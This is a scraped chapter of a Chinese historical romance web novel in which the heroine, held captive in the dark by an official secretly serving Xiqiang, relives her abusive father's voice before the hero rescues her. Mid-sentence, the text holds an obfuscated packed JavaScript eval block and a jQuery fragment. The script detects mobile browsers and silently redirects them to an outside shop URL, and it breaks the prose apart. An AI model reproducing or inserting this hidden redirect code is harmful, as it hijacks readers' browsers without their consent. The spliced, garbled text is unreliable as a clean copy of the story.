黑暗,伸手不见五指的黑暗。
感官在黑暗之中变得异常灵敏,黎鸢能感受到她的身体在发抖。她动了动,却发现手脚被什么东西束缚住。
她顿时被害怕淹没,本能地摆出防御的姿态。她大脑飞速运转,思考着有没有什么能解开绳子的办法,可漆黑吞没了她的理智,她仿佛又回到了从前那个暗无天日的地方。
那里什么都没有。她忍不住颤抖,竭力想要维持理智,可曾经挥之不去的阴影淹没了她的思绪。
她闭上眼睛,努力从恐惧中抽离,开始回忆。对,她记得她是来替陛下查东西的。她在济州太守刘叙言妻子裴灼的身上闻到了月见香的味道。这种香阿娘说过,极为昂贵,非西羌王宫贵族不得用。阿娘当年机缘巧合之下得了一罐,她曾将这香用在黎清风身上过。
裴灼身上不仅有这香,且十分奢侈地拿来熏衣服,这让黎鸢本能地觉得不对。她甚至开始怀疑裴家会不会和西羌有关。顺着线索她彻查裴家众人无果,最后灵机一动想到了一个人选。
户部侍郎裘贵,裴氏养子。
而后,她寻到了裘贵私通西羌的证据,不仅如此,也是裘贵暗示裴停云前往济州,又暗中促成裴停云见到安乐王。她已经知道了这些,却被裘贵发现,被锁在了这暗无天日的地方。
呵,又是这一招。
黎鸢浑身冰凉,她到底怕黑。睡觉甚至都要留烛火。但她绝不是坐以待毙之人。她一点点摩擦绑住自己的绳子,却听见门被推开的声音。
是谁?她眼神一瞬间凌厉,见到裘贵的瞬间却又刻意柔缓了下来:“裘大人,您这是何意?”
裘贵面无表情。他如今的模样同平日里朝堂之上插科打诨的样子大相径庭,黎鸢暗叹此人演技卓绝。
裘贵:“郡主不请自来,撞见了不该看见的东西。既如此,便休怪裘某狠辣。”
黎鸢瞪大眼睛:“误会……都是误会啊裘大人。”
裘贵笑了笑:“误会什么?是郡主没有发现那些西羌文写的信,还是郡主没有认出来阿灼身上的香?”
黎鸢张了张嘴:“不是,我的意思是……自己人,裘大人,我是自己人呀。”
裘贵知道黎鸢一向擅长花言巧语,不与她多说。
黎鸢继续:“我没有骗你,我真的没有骗你,你看我的头发,你看,大乾人哪有这个发色?更不会打卷儿,我真的是自己人,真的!我娘是西羌人!”
裘贵盯着她的头发看了一会儿:“那又如何,生在大乾,长在大乾。就算你有我羌人血脉,也只会是叛徒。”
黎鸢破罐子破摔地提及阿兰希:“家母生于琼山,名叫阿兰希。她一直给我讲述西羌的故事。裘大人你看,我都亲自把黎清风送到凌迟的刑台上了,那必然是父女关系不和谐。我实话跟你说吧,从小那个老畜牲就虐待我,我活着的唯一希望就是阿娘和阿娘给我讲的她故乡的故事啊。”
裘贵听到阿兰希的名字时神色明显顿了一瞬,黎鸢心若琉璃怎可能发现不了,她试探道:“裘大人认识我娘?”
裘贵不答,却盯着黎鸢的脸看了一会儿:“还真有几分相似……她竟是嫁给了黎清风?”
黎鸢聪明地选择不回答这个问题:“世伯,裘世伯,既然你认识我娘,我就这么称呼你了,你看,真的都是误会啊。”
裘贵:“无论如何,我不会放你走。”
哪怕是故人之子,也无用。所有阻碍他归家的人,他都不会心软。
黎鸢见这人油盐不进,一时哑声,过了一会儿她又道:“世伯,你不肯放我走,那你能不能看在我娘的份上让我待得舒坦点?比如点盏灯什么的?”
裘贵盯着她看了一会儿:“郡主可知,我不叫裘贵?”
黎鸢没明白为什么话题如此跳跃,却也知道受制于人就要韬光养晦顺着对方,她抿唇:“……请教阁下尊名?”
裘贵看着她:“裘归,我叫裘归。阿兰希的女儿,告诉我,她给你取了什么名字。”
黎鸢实话实说:“阿娜尔古丽。”
“阿娜尔古丽。对于我而言,活着唯一的目的就是回家。”
“而你,你是阿兰希的女儿。你比她还要狡黠聪慧,所以别想在我眼皮子底下耍任何花招。至于灯,更是别想。毕竟你那么聪明,谁知道一盏灯能让你做出什么呢?”
黎鸢哑口无言。
裘归没有多少和黎鸢叙旧的心思,他起身离去,关上密室大门,房中又只剩下一片漆黑。
恐惧再次蔓延而上,黎鸢只能将自己蜷缩起来。她能怎么办?她还能怎么办?她给自己留了后手,只是后手找到这里至少也得七日。这七日她又能如何?除了独自挨过黑暗之外别无他法。
时间过去了多久?一炷香?还是一个时辰?又或者是一天?三天?见不到阳光的日子就是这样,黎鸢已经习惯了。人靠着日出日落感知时间的流逝,而她比任何人都习惯感知不到时间的日子。
还要多久……那些人还要多久才能顺着她留下的痕迹找过来?
她害怕。这样的黑暗会让她满脑子都是母亲冰冷的模样,会让她陷入自责与内疚的漩涡无法自拔,会让她的耳朵嗡鸣。她仿佛又听见黎清风的声音。
他的声音冰冷无情:“你还活着,阿香就永远无法摆脱我。”
“这辈子,你都会作为她属于我的证据存活在这个世界上……”
“永远,永远,别想摆脱我。”
嘈杂,嘈杂的声音让黎鸢几乎要癫狂。她开始疯狂捶打地板,企图赶走这些,她高声怒吼:“你已经死了!乱葬岗的野狗把你的尸骨啃得骨头都不剩!这辈子,下辈子,永生永世,你都别想再接近她!”
黎清风却只是笑,他的笑声越来越大,越来越大,几乎将黎鸢整个人淹没。她眼眶开始发烫,闭上眼想逃避,却发现闭眼和睁眼根本就是一模一样的景象。
她只能蹲下去,额头抵着膝盖。她企图让自己的心跳和呼吸声压过这些杂念,却根本难以做到。她又开始努力控制,控制自己不要再想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730774|207084||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和黎清风有关的事,不要再想过往的那些事。她似乎听见了一个低沉冷淡的声音说着热切关怀的话,似乎看到了满院的白玉兰花和衣领上的一滴泪渍,又似乎闻到了满院的茉莉花香。
可只是短短一瞬,过往便又蔓延而上,将她拖往更深的深渊。
究竟还要多久!究竟还要多久!她再也忍受不了没有光亮的日子!
为什么还没有人来,他们到底在做什么?是他们太没用了,还是自己太没用了?时间到底过去了多久!
她几乎又要陷入和小时候一样的绝望,她却狠狠地掐了把自己的掌心,对着自己的脸就是一巴掌。
她已经长大了。她不是那个无能的小女孩。她不会再拖累任何人,她可以保护爱的人。
她咬牙撑在地板上,是身体的极限,也是精神的极限。眼皮越来越重,身体越来越轻,她感受到自己的眼皮一点点地闭合。
轰隆!
震天裂地的响声让已经要昏迷的黎鸢都清醒了一瞬。
是光,光透了进来。是黎鸢此生最向往的光,那光芒偏爱般披在青年身上,仿佛太阳自他身后升起。黎鸢的心跳忽然跳得前所未有的快。
他一向干净的衣裳上全是灰,好稀奇……晕在那人带着满满茉莉香的怀里时,黎鸢只剩下这一个想法。
凌淮目眦欲裂,他几乎是连滚带爬地跑下去,膝盖都跪在了地上划出一小段距离,才将将让黎鸢倒在了他的怀里。少女的体重太轻,轻到让他觉得前所未有的害怕。他只觉得恐慌,恐慌到甚至在发抖。他颤抖着打横抱起少女,几乎毫无形象地以轻功飞奔,不知道踩了多少人家的屋顶,终于将少女送到了太医面前。
他寸步不敢离。
他的恐惧仍旧不曾缓过神,他只能紧紧抓着黎鸢的手,却又看见了黎鸢手腕上那道明显的疤痕。那道伤口曾经深可见骨,让少女流了不知道多少血液。凌淮忽然很后悔,他合该狠狠扇自己一巴掌。
他明明早就知道,早就知道父母给自己订过一门娃娃亲,为什么人生的前二十年他只将这当作玩笑?但凡他在意一些,或许就会出于好奇去黎府见见这位未婚妻,说不定他就会发现黎鸢遇到了什么,他就可以救她,就可以带她走,就可以让她不用遭受这些。为什么他没有?
为什么,他觉得就连心疼都显得多余。少女的过往不需要自己的参与,她自己从泥泞血海中撕扯出了一条路。而他什么都不知道,如今除了心疼之外什么都做不了。
可心疼是世界上最没有用的东西。心疼不会让黎鸢醒过来,不会让黎鸢手腕上的伤疤消逝,不会让黎鸢放下心中的悲痛。
周慎之说,他想给黎鸢一个活下去的理由。可自己怎么可能成为黎鸢活下去的理由呢?
这样的少女……这样的少女,就算她或许对自己有一两分的喜欢,可这喜欢在那些沉重的东西面前已经不值一提。
可是……他放不下,他无法再做旁观者。
他爱上了黎鸢,他恨不得为她去死地爱她。